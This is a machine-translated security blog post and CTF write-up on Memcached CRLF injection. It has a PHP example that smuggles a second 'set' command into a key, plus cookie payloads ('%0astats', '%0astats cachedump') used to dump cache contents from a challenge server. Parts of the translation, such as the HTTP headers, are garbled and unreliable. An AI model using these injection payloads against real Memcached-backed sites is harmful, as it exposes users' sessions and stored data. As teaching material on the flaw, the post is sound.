Xiao Fei. 2015/09/24 10:30

0x00 is written first


The main Wooyun site has had its share of memcached-related vulnerabilities, but most of them are unauthorized. Even properly deployed Memcached can expose sensitive memory leaks to insecure programmers.

This is Memcached injection

0x01 Memcached Overview & Security Analysis


Memcached is a high-performance distributed memory object caching system for dynamic Web applications to reduce database load.

It speeds up dynamic, database-driven web sites by caching data and objects in memory to reduce the number of database reads.

In plain English, while the traditional Web stores temporary data generated by access to back-end databases such as User Sessions, Memcached applications store user sessions and other sensitive information in RAM, increasing the speed and reducing the load of repeated queries in the back-end database.

Memcached creator Dormando has written two early articles cautioning developers against using Memcached to store sessions. However, many developers still store sessions in memcached for performance or other reasons. If memcached is attacked, the administrator or user will be exposed.

0 x02 Memcached protocol


Once Memcache is deployed, how do we add data to it? Let’s take a look at the Memcached protocol with a Cheat sheet.

The syntax for Memcached consists of the following elements

{COMMAND}0x20{ARGUMENT}(LF|CRLF)

The command field contains the following commands

  1. Store operations (set, Add, replace, Append, prepend, CAS)
  2. Retrieve operations (get, gets)
  3. Delete operation (delete)
  4. Increase or decrease operation (INCR, DECR)
  5. touch
  6. slabs reassign
  7. slabs automove
  8. lru_crawler
  9. Statistics operations (Stats Items, Slabs, cachedump)
  10. Other operations (version, flush_all, quit)

Here are some useful commands for security testing

Command describe The instance
get Read a value get mykey
set Force a key to be set set mykey 0 60 5
add Add a new key-value pair add newkey 0 60 5
replace Overrides existing keys replace key 0 60 5
flush_all Invalidate all entries flush_all
stats Print current state stats
stats malloc Print memory status stats malloc
version Print the Memcached version version

Stats Cachedump reads entries stored in memory

0x03 Memcached code implementation


After Memcached is deployed, a PHP code that calls Memcached looks like this.

#! php <? php $m = new Memcached(); $m - > set (" prefix_ ". $_GET [' key '], "data");Copy the code

In order to show the loophole, I want to write it this way

#! php <? php $m = new Memcached(); $m->addServer('localhost', 11211); $m->set("key1 0 0 1\r\n1\r\nset injected 0 3600 10\r\n1234567890\r\n","1234567890",30); ? >Copy the code

set("key1 0 0 1\r\n1\r\nset injected 0 3600 10\r\n1234567890\r\n","1234567890",30)

Yeah, that’s where you see the problem.

When executing the command above, the server and client communicate like this (> means sent to Memcached, < means returned from Memcached).

> set key 0 0 1
> 1
< STORED

> set injected 0 3600 10
> 1234567890
< STORED

> 0 30 10
< ERROR

> 1234567890
< ERROR
Copy the code

As you can see, \r\n can be used to split commands for Memcached protocols, so command execution can be implemented by injecting \r\n directly into elements (such as cookies) that will be passed into Memcached via CLRF injection.

0x04 Memcache Injection instance


In a recent CTF, there was a typical CLRF-based Memcache injection. (The station is currently accessible)

http://login2.chal.mmactf.link/login

login as admin

The request after login looks like this

GET/HTTP/1.1 Host: login2.chal.mmactf.link User-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; The rv: 38.0) Gecko / 20100101 Firefox 38.0 / Accept: text/HTML, application/XHTML + XML, application/XML. Q = 0.9 * / *; Q = 0.8 Accept - Language: useful - CN, useful; Q = 0.8, en - US; Q = 0.5, en. Q = 0.3 Accept - Encoding: gzip, deflate Referer: http://login2.chal.mmactf.link/login cookies: ss=c4a613cdf3378b458be9a6d8de6c52c6ab260d1ee5c2d94df6fe260e580b16bb Connection: keep-aliveCopy the code

When testing HTTP header injection, we found that when injecting %0a into cookies, that is, requesting:

Cookie: ss=%0ac4a613cdf3378b458be9a6d8de6c52c6ab260d1ee5c2d94df6fe260e580b16bb

Returns the following

</div>
<div id="info">
<p>MemcacheError:ERROR  
ERROR</p>
</div>
</body>
</html>
Copy the code

Well, memcached has an error.

> 1234567890
< ERROR
Copy the code

Note The value of SS is inserted into memcached.

We continue to inject cookies :ss=%0astats

MemcacheError:ERROR STAT pid 988 STAT uptime 651664 STAT time 1442726665 STAT version 1.4.14 (Ubuntu) STAT libevent 2.0.21-stable STAT pointer_size 64 STAT rusage_user 17.256000 STAT rusage_system 18.232000 STAT curr_connections 5 STAT total_connections 946 STAT connection_structures 6 STAT reserved_fds 20 STAT cmd_get 615 STAT cmd_set 188 STAT cmd_flush  0 STAT cmd_touch 0 STAT get_hits 299 STAT get_misses 316 STAT delete_misses 0 STAT delete_hits 42 STAT incr_misses 0 STAT incr_hits 0 STAT decr_misses 0 STAT decr_hits 0 STAT cas_misses 0 STAT cas_hits 0 STAT cas_badval 0 STAT touch_hits  0 STAT touch_misses 0 STAT auth_cmds 0 STAT auth_errors 0 STAT bytes_read 54350 STAT bytes_written 86307 STAT limit_maxbytes 67108864 STAT accepting_conns 1 STAT listen_disabled_num 0 STAT threads 4 STAT conn_yields 0 STAT hash_power_level 16 STAT hash_bytes 524288 STAT hash_is_expanding 0 STAT expired_unfetched 15 STAT evicted_unfetched 0 STAT bytes 1137 STAT curr_items 8 STAT total_items 153 STAT evictions 0 STAT reclaimed 96 ENDCopy the code

Sure enough, memcached stats was returned

Now let’s do one of the things we most want to do, dump things in memory: we use cacheDump

stats cachedump {slab class} {number of items to dump}

Memcached is classified by slab class. For example:

$ memcached -vv
slab class   1: chunk size        96 perslab   10922
slab class   2: chunk size       120 perslab    8738
slab class   3: chunk size       152 perslab    6898
slab class   4: chunk size       192 perslab    5461
Copy the code

We can see the choreography of each class

So let’s dump each one and see:

Cookie: %0astats cachedump 1 1000

Return to

MemcacheError:ERROR ITEM key [1 b; 1441762228 s] ITEM 12345 [20 b; 1441494967 s] END

When I traverse to class 3:

Cookie: %0astats cachedump 3 1000 MemcacheError:ERROR ITEM 3f063d8659f0f08c4454554294aca59bbe42cc6e11db23eb69f5a1c0a9486aa1 [19 b; 1442016274 s] ITEM 0e9d0aecea498b15ee63d38dd4664dcfc75be0846ec4baee931b45a04462eeab [20 b;  1441494967 s] ITEM 09cf27be606344f29bda74bd7c035e6d862c95025a2a6bb1785c8883ae65b18a [16 b;  1441494967 s] ITEM b33542ed3c8bf5c2c346e26aac28a10055fa6a50c4948873810798e9f4cfca98 [20 b;  1441494967 s] ITEM e391306f6481940ab3c796eb1253435b06e9a9357227de734b0ec3f58bd14d7f [19 b;  1442011213 s] ITEM c706b288065ad5c29153d8773c3e3be6e8a07408cdf4e0e40e97917896e43839 [19 b;  1442012877 s] ITEM a5e754e6e804bf7e49f8096242a6566cc337b06aa6c2dafda3f86edccf8cb4b3 [19 b;  1442011191 s] ITEM edf938c33d05ff9f8696415d5ef817014a5cc2906abe24576fdafe8ae58dde48 [19 b;  1442010879 s] ITEM 5f7d07e310e9fad574d0975741a9c05d0d75d7157ce9bb9546b7f58d940cee7a [19 b;  1442006048 s] ITEM 3d1a32800a501fe7387287ba4631ae9318206ef96083a29f35fd1ef42f7a85c5 [19 b; 1441998916 s]Copy the code

Finally injected into the class we need.

0 x05 reference


Memcache cheat sheet: lzone DE/cheat – sheet…

Memcached Injection: www.blackhat.com/docs/us-14/…